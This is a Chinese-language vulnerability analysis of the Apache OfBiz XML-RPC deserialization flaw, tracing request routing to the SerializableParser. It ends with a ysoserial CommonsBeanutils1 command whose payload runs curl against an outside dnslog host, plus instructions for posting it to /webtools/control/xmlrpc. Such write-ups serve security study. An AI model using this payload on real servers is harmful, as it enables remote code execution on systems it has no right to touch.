Author: ZionLab
官网:https://ofbiz.apache.org/
漏洞信息:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz
从漏洞信息中得知入口点是 /webtools/control/xmlrpc
,
所以找到 framework/webtools/webapp/webtools/WEB-INF/web.xml
,发现 control
的路径是由 org.apache.ofbiz.webapp.control.ControlServlet
处理。
找到 org.apache.ofbiz.webapp.control.ControlServlet
:
发现 doPost
和 doGet
方法的内容是一样的,看到 doGet
方法:
内容比较多,直接看关键的地方,在 requestHandler.doRequest
的地方处理请求,而 requestHandler
是 getRequestHandler()
的返回值,看到 getRequestHandler()
方法:
继续跳转到 RequestHandler.getRequestHandler
:
跟进 this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context)
方法:
看到是取当前 web 路径下的 /WEB-INF/controller.xml
,查看 controller.xml
:
貌似是路由及对应的处理方法,继续回到 RequestHandler.getRequestHandler
的下半部分:
有个 EventFactory
的工厂类初始化,跟进:
这个工厂类的作用就是实例化各个 EventHandler
类。
requestHandler
看完了,回到 org.apache.ofbiz.webapp.control.ControlServlet
的 requestHandler.doRequest
方法:
省略一些内容,看到关键点,String defaultRequestUri = getRequestUri(request.getPathInfo())
和 requestMap = (ConfigXMLReader.RequestMap)requestMapMap.get(defaultRequestUri)
是根据 URI 在 controller.xml
取得对应的参数,如 URI 是 xmlrpc
,那么会取到:
之后进入 eventReturn = runEvent(request, response, requestMap.event, requestMap, "request");
,看到 runEvent
会根据 event.type
的不同,在工厂类中取得对应的 EventHandler
并执行其 invoke
方法,如 xmlrpc
是 XmlRpcEventHandler
类:
所以到此,搞清楚了 ofbiz
的路由处理方式,即对应 WEB 项目的 /WEB-INF/controller.xml
中,相关的 uri
和 event
参数。
继续看到 XmlRpcEventHandler
类的 invoke
方法,看到关键的 execute
方法:
再进入 getRequest
方法:
以 XmlRpcRequestParser
为解析器对输入进行解析,XmlRpcRequestParser
是在 xmlrpc-common-3.1.3.jar
包中,而 xmlrpc-common-3.1.3.jar
则是 Java 中处理 XML-RPC
的第三方库,最新版本是2013年发布的 3.1.3
。XML-RPC
是一种远程过程调用(remote procedure call)的分布式计算协议,通过 XML 将调用函数封装,并使用 HTTP 协议作为传送机制。
继续跟进 XmlRpcRequestParser
:
可以看到对 XML 的参数作出了规范,其中 value
中有个参数 serializable
对应的解析器是 SerializableParser
可以看到执行了反序列化,SerializableParser
继承了 ByteArrayParser
,所以 ByteArrayParser
先处理:
进行了 base64 解码处理,所以最后的 payload 就很明显了,在 serializable
参数中加入 base64 编码的反序列化数据。
根据以上分析,先找到反序列化利用链,在 OfBiz
中存在 CommonsBeanutils1
利用链,然后生成反序列化数据并 base64 编码:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "curl http://RCE.bgkjco.dnslog.cn" | base64 | tr -d '\n'
最后,将生成的数据放入构造好的 XML 中,并向 /webtools/control/xmlrpc
发送 Payload